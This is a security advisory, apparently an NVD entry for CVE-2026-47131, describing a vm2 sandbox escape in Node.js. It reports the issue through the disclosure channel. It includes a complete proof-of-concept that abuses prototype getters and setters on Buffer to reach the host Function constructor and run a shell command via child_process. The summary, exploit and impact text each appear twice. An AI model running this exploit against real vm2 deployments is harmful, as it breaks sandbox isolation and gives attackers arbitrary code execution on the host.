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CVE-2026-47131NVD
Description
### Summary
By combining `Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__")`, `Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__")`, and Node.js's `ERR_INVALID_ARG_TYPE` Error, the host's `TypeError` constructor can be obtained, which allows the escape from the sandbox.
This allows attackers to run arbitrary code.
### PoC
```js
"use strict";
const { VM } = require("vm2");
const vm = new VM();
vm.run(`
"use strict";
const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__");
const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__");
async function f() {
try {
await WebAssembly.compileStreaming();
} catch(e) {
setProto.call(getProto.call(e), null);
}
try {
await WebAssembly.compileStreaming();
} catch(e) {
const HostFunction = e.constructor.constructor;
new HostFunction("return process")().mainModule.require("child_process").execSync("echo pwned", { stdio: "inherit" });
}
}
f();
`);
```
### Impact
Sandbox Escape β RCE
By combining `Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__")`, `Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__")`, and Node.js's `ERR_INVALID_ARG_TYPE` Error, the host's `TypeError` constructor can be obtained, which allows the escape from the sandbox.
This allows attackers to run arbitrary code.
### PoC
```js
"use strict";
const { VM } = require("vm2");
const vm = new VM();
vm.run(`
"use strict";
const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__");
const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__");
async function f() {
try {
await WebAssembly.compileStreaming();
} catch(e) {
setProto.call(getProto.call(e), null);
}
try {
await WebAssembly.compileStreaming();
} catch(e) {
const HostFunction = e.constructor.constructor;
new HostFunction("return process")().mainModule.require("child_process").execSync("echo pwned", { stdio: "inherit" });
}
}
f();
`);
```
### Impact
Sandbox Escape β RCE